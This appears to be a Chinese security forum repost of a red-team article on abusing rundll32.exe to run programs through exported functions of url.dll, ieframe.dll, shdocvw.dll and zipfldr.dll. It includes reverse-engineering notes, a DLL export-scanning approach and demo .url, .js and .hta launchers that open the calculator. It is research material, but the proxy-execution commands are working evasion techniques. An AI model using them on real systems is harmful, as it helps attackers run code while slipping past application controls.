安全矩阵

 找回密码
 立即注册
搜索
查看: 1064|回复: 0

关于利用rundll32执行程序的分析

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-9-18 21:09:24 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-9-18 21:09 编辑

关于利用rundll32执行程序的分析
原文链接:关于利用rundll32执行程序的分析
wilsonlee1 红队蓝军  2022-09-18 10:19 发表于湖北
0x00 前言‘
最近看到了一篇有趣的文章《Abusing Exported Functions and Exposed DCOM Interfaces for Pass-Thru Command Execution and Lateral Movement》,介绍了利用rundll32.exe加载url.dll,通过导出函数OpenURL执行程序的方法。于是我对此做了研究,整理成文,解决以下问题:
  • 利用rundll32执行程序的细节和原理
  • 利用脚本批量扫描dll,查找能够执行程序的dll
0x01 简介
本文将要介绍以下内容:
  • rundll32加载dll的用法
  • OpenURL的用法
  • API ShellExecute的用法
  • 三者结合实现通过rundll32直接执行程序
  • 寻找其他可用的导出函数
  • 利用powershell脚本批量获得dll的导出函数,筛选特定dll
0x02 相关细节
1、rundll32加载dll的用法
官方文档:
  1. https://support.microsoft.com/sk-sk/help/164787/info-windows-rundll-and-rundll32-interface
复制代码
用法:
  1. rundll32 <dllname>,<entrypoint> <optional arguments>
复制代码

参数<entrypoint>代表传入dll的导出函数名,在dll中定义如下:
  1. void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
复制代码

参数<optional arguments>对应dll导出函数中的LPSTR lpszCmdLine
也就是说通过rundll32能控制dll导出函数的LPSTR lpszCmdLine参数
2、OpenURL的用法
这里直接参考文章中的提示,找到url.dll,包含导出函数OpenURL
使用IDA查看url.dll的导出函数OpenURL,其中调用了API ShellExecute,如下图
编辑
查看伪代码,如下图
编辑
注意ShellExecute的第二个参数为NULL,第三个参数lpFile对应传入的参数lpFile
3、API ShellExecute的用法
函数原型与参数定义如下:
  1. HINSTANCE ShellExecute(
  2.   _In_opt_ HWND    hwnd,
  3.   _In_opt_ LPCTSTR lpOperation,
  4.   _In_     LPCTSTR lpFile,
  5.   _In_opt_ LPCTSTR lpParameters,
  6.   _In_opt_ LPCTSTR lpDirectory,
  7.   _In_     INT     nShowCmd
  8. );
复制代码
第二个参数为NULL时,表示执行默认操作"open"
第三个参数lpFile表示要打开的程序或文件路径
也就是说,url.dll中导出函数OpenURL的参数lpFile决定API ShellExecute要打开的程序或文件路径
综上,
  1. rundll32.exe url.dll,OpenURL calc.exe
复制代码

实际上的操作为ShellExecuteA(hwnd, NULL, "calc.exe", NULL, NULL, nShowCmd);,即执行计算器
使用Immunity Debugger动态调试,跟踪到ShellExecuteA,验证判断,传入的参数为calc.exe,如下图
编辑
0x03 扩展利用
1、查找url.dll中其它可供利用的导出函数
IDA加载url.dll,选择Search - text...,搜索ShellExecuteA
导出函数FileProtocolHandler同样调用API ShellExecute,如下图
编辑
测试命令如下:
  1. rundll32.exe url.dll,FileProtocolHandler calc.exe
复制代码

执行计算器
2、查看其它dll是否包含导出函数OpenURL
实现思路:
枚举%windir%/system32下所有dll的导出函数,筛选出包含导出函数OpenURL的dll
通过powershell获得dll的导出函数可参考FuzzySecurity的代码,地址如下:
https://github.com/FuzzySecurity ... ter/Get-Exports.ps1
在这个代码的基础上,添加枚举dll的功能,分别获得导出函数,进行判断
实现细节:
(1)枚举c:\windows\system32下的所有dll:
  1. $DllSearchPath = dir c:\windows\system32\*.dll

  2. foreach($DllName in $DllSearchPath)
  3. {   
  4.     $DllName.Name
  5. }
复制代码
(2)对于c:\windows\system32\auditpolmsg.dll
会报错提示输入字符串的格式不正确,所以对语句$OffsetPtr = New-Object System.Intptr -ArgumentList $($HModule.ToInt64() + $ExportRVA)加入try catch判断
代码位置:
  1. https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Get-Exports.ps1#L141
复制代码

(3)对于c:\windows\system32\avicap.dll
会报错,尝试读取或写入受保护的内存,对语句$EXPORT_DIRECTORY_FLAGS = [system.runtime.interopservices.marshal]:trToStructure($OffsetPtr, [type]$IMAGE_EXPORT_DIRECTORY)
加入try catch判断
(4)目前代码只支持32位dll的判断
完整代码可参考:
  1. https://raw.githubusercontent.com/3gstudent/Writeup/master/Find-OpenURL.ps1
复制代码

执行如下图,获得其他两个dll,分别为ieframe.dll和shdocvw.dll
编辑
使用IDA加载ieframe.dll,查看导出函数OpenURL,伪代码如下图
编辑
由CInternetShortcut可以得知执行的文件为.url文件
编写一个.url文件,内容如下:
  1. [InternetShortcut]
  2. URL=c:\windows\system32\calc.exe
复制代码
cmd:
  1. rundll32.exe ieframe.dll,OpenURL C:\4\calc.url
复制代码


成功执行,弹出计算器
同样,shdocvw.dll也是相同的测试结果
3、执行的程序类型
调用API ShellExecute执行程序,不仅支持exe,也同样支持脚本
例如执行js文件,内容如下:
  1. WScript.Echo("1");
复制代码
cmd:
  1. rundll32.exe url.dll,OpenURL C:\4\echo.js
复制代码

执行后弹框
例如hta文件,内容如下:
  1. <HTML>
  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. <HEAD>
  4. <script language="VBScript">
  5. Window.ReSizeTo 0, 0
  6. Window.moveTo -2000,-2000
  7. Set objShell = CreateObject("Wscript.Shell")
  8. objShell.Run "calc.exe"
  9. self.close
  10. </script>
  11. <body>
  12. demo
  13. </body>
  14. </HEAD>
  15. </HTML>
复制代码
cmd:
  1. rundll32.exe url.dll,OpenURLA C:\4\calc.hta
复制代码

执行后弹出计算器
例如url文件,内容如下:
  1. [InternetShortcut]
  2. URL=c:\windows\system32\calc.exe
复制代码
cmd:
  1. rundll32.exe ieframe.dll,OpenURL C:\4\calc.url
复制代码

成功执行,弹出计算器
4、更多利用方法
hexacorn在他的文章里分享了另一个可供使用的dll和导出函数:
  1. rundll32 zipfldr.dll, RouteTheCall calc.exe
复制代码

当然,还有更多可供使用的dll,本文暂不介绍
0x04 小结
本文分析了利用rundll32.exe加载url.dll并通过导出函数OpenURL执行程序的细节,对其扩展,尝试利用脚本批量扫描%windir%/system32下的dll,找到能够执行程序的dll,分别验证了bohops和Hexacorn的结论。
文章来源于:https://xz.aliyun.com/t/2188

若有侵权请联系删除











回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 13:34 , Processed in 0.013763 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表